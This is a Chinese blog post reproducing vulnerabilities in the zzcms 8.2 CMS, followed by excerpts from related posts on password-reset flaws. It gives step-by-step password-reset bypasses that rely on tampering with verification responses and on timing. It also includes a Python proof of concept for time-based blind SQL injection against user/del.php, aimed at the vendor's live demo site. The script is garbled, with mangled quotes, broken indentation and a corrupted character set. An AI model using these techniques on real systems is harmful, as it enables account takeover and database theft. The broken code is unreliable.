zzcms8.2#任意用户密码重置#del.php时间盲注#复现

00x0 引言

  早上起来,发现seebug更新了一批新的洞,

   发现zzcms8.2这个洞好多人在挖,于是我就默默的踏上了复现之路(要不是点进去要买详情,我何必这么折腾~)

   环境:zzcms8.2(产品招商型)

     php-5.4.45

.    mysql-5.5.53

01x0 任意用户密码重置

  01x1 任意用户密码重置方式一

    话说,这个洞的标题应该是任意前台用户密码重置,后台管理员重置不了的,或许是我复现的问题.~~

    先注册个账号,然后首页点击找回密码.

    地址:http://localhost/one/getpassword.php

    

      这里还存在用户遍历,如果存在该用户,那么返回在前端页面的就是如上所述的正确的状态

      

       

      回到主题,输入验证码后点击下一步,进入下一个状态.

      

         

  不用点击获取验证码,随意输入任意数字,直接点击下一步,抓包

               

获取响应包

  

  把no改为yes,然后forward,到这里你会发现前端页面没什么变化

  再看抓包工具,你会看到这个包

  

这个明显就是验证码成功的包,直接forward.

输入新密码,直接重置.

重置成功

01x2 任意用户密码重置方式二

  这个,是最简单的,根本不用抓包.

  拿demo站做测试.

  

下一步,

会看到,这个,然后不用选择验证方式,不用点击获取验证码,随便输入任意数字,直接点击下一步.

一定快速输入,不然会发包后端会做验证,在显示

这样的红色警告字符之前点击下一步

直接跳转到修改密码处,

02x0 del.php 时间盲注

这个在freebuf被某个师傅发出来过,我这就做简单的分析

http://www.freebuf.com/vuls/161888.html

user/del.php 13行

这里两个post参数都是未做处理,传进来之后直接格式化了.

再到136行

直接带入查询了.贴上大牛的poc

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import time

payloads = ‘[email protected]_.‘    #匹配用的字符串
url = "http://demo.zzcms.net/user/del.php"
user = ‘‘
for i in range(1, 2):
        for payload in payloads:    #遍历取出字符
                startTime = time.time()
                post_data = "id=1&tablename=zzcms_answer where id = 1 and if((ascii(substr(user(),1,1))=" + str(ord(payload)) + "),sleep(5),1)%23".encode("utf-8")
                response = requests.post(url, timeout=6, data=post_data, headers={"Content-Type": "application/x-www-form-urlencoded"}  )
if time.time() - startTime > 5:
                        user = payload
print ‘user is:‘, user
break
print ‘\n[Done] current user is %s‘ % user

原文地址:https://www.cnblogs.com/ak47boom/p/8449120.html

时间: 2024-10-08 22:44:16

zzcms8.2#任意用户密码重置#del.php时间盲注#复现的相关文章

任意用户密码重置(五):重置凭证可暴破

在逻辑漏洞中,任意用户密码重置最为常见,可能出现在新用户注册页面,也可能是用户登录后重置密码的页面,或者用户忘记密码时的密码找回页面,其中,密码找回功能是重灾区.我把日常渗透过程中遇到的案例作了漏洞成因分析,这次,关注因重置凭证可暴破导致的任意用户密码重置问题. 传送门: 任意用户密码重置(一):重置凭证泄漏 任意用户密码重置(二):重置凭证接收端可篡改 任意用户密码重置(三):用户混淆 任意用户密码重置(四):重置凭证未校验 密码找回需要鉴别用户的合法身份,证明你就是你,通常有两种做法,一是网

任意用户密码重置(四):重置凭证未校验

在逻辑漏洞中,任意用户密码重置最为常见,可能出现在新用户注册页面,也可能是用户登录后重置密码的页面,或者用户忘记密码时的密码找回页面,其中,密码找回功能是重灾区.我把日常渗透过程中遇到的案例作了漏洞成因分析,这次,关注因重置凭证未校验导致的任意用户密码重置问题. 传送门: 任意用户密码重置(一):重置凭证泄漏 任意用户密码重置(二):重置凭证接收端可篡改 任意用户密码重置(三):用户混淆 密码找回需要鉴别用户的合法身份,证明你就是你,通常有两种做法,一是网站将重置验证码发至用户绑定的邮箱或手机号

任意用户密码重置(二):重置凭证接收端可篡改

在逻辑漏洞中,任意用户密码重置最为常见,可能出现在新用户注册页面,也可能是用户登录后重置密码的页面,或者用户忘记密码时的密码找回页面,其中,密码找回功能是重灾区.我把日常渗透过程中遇到的案例作了漏洞成因分析,这次,关注因重置凭证接收端可篡改导致的任意用户密码重置问题. 密码找回逻辑含有用户标识(用户名.用户 ID.cookie).接收端(手机.邮箱).凭证(验证码.token).当前步骤等四个要素,若这几个要素没有完整关联,则可能导致任意密码重置漏洞. 前情提要:[传送门] 案例一:接收端可篡改

任意用户密码重置的10种姿势

以前安全测试最爱挖的就是任意用户密码重置,今天看了carry_your师傅在ichunqiu上的视频文字总结一下任意用户密码重置的10种姿势: 1,短信验证码可爆破: 视频案例中输入手机号码.图片验证码就可以获取短信验证码,并且新密码也是在一个页面中,但是输入短信验证码之后,后端有个请求会判断短信验证码是否正确,错误的话页面会有提醒.攻击者可以用这个请求来爆破验证码,获取到正确的短信验证码之后就可以重置任意用户密码了. 缺陷主要是两个方面,第一,未对短信验证码的失效时间进行限制:第二,功能设计存

某站的任意用户密码重置

首先开burp抓包,点击发送验证码,看到底下那串数字,我开始以为随便改,然后告诉我没有这个用户??然后我想这是不是我自己的ID,于是联系我的小同伴借我他的手机号注册并尝试了一下,将他的重置页面底下的ID改为上图,也就是我的,然后成功...发送到了我的手机.. 原文地址:https://www.cnblogs.com/pwn2web/p/10661246.html

安全测试===任意用户密码重置的10种常见姿势

https://www.ichunqiu.com/course/59045 http://www.freebuf.com/articles/web/164510.html http://www.freebuf.com/articles/web/160883.html http://www.freebuf.com/articles/database/161495.html http://www.freebuf.com/articles/web/162152.html http://www.free

centos 7 救援模式,解决忘记root用户密码重置

centos 7 救援模式解决忘记root用户密码重置 1. 进入BIOS模式,选择启动方式,保存重启2. 进入启动界面,选择"troubleshooting"3. 进入如下界面,选择救援模式4. 进入如下界面,选择继续5. 进入如下界面,选择输入命令切换目录6. 进入如下界面,修改输入新密码,重启机器7. 重启机器之前,记得将BIOS修改过来 原文地址:https://blog.51cto.com/1969518/2485099

Gxlcms时间盲注+后台任意文件删除读取下载+getshell

前台SQL时间盲注 在前台作品评分处 Lib\Home\Action/CommAction.class.php 第56行 $ting_id = $_GET["id"]; 第133行 $ting_gold = $mod->where("ting_id='$ting_id'")->getField("ting_gold"); 导致了可以时间盲注 因为回显不明确 后台GetShell 后台附件设置处 fuzz过程 输入php  被过滤成空

PHPCMS v9.5.8-设计缺陷可重置前台任意用户密码

验证.参考漏洞:http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0152291.html 漏洞出现在/phpcms/modules/member/index.php   第1687-1756行 public_forget_password_username()函数 public function public_forget_password_username() { $step = intval($_POST['step']); $step =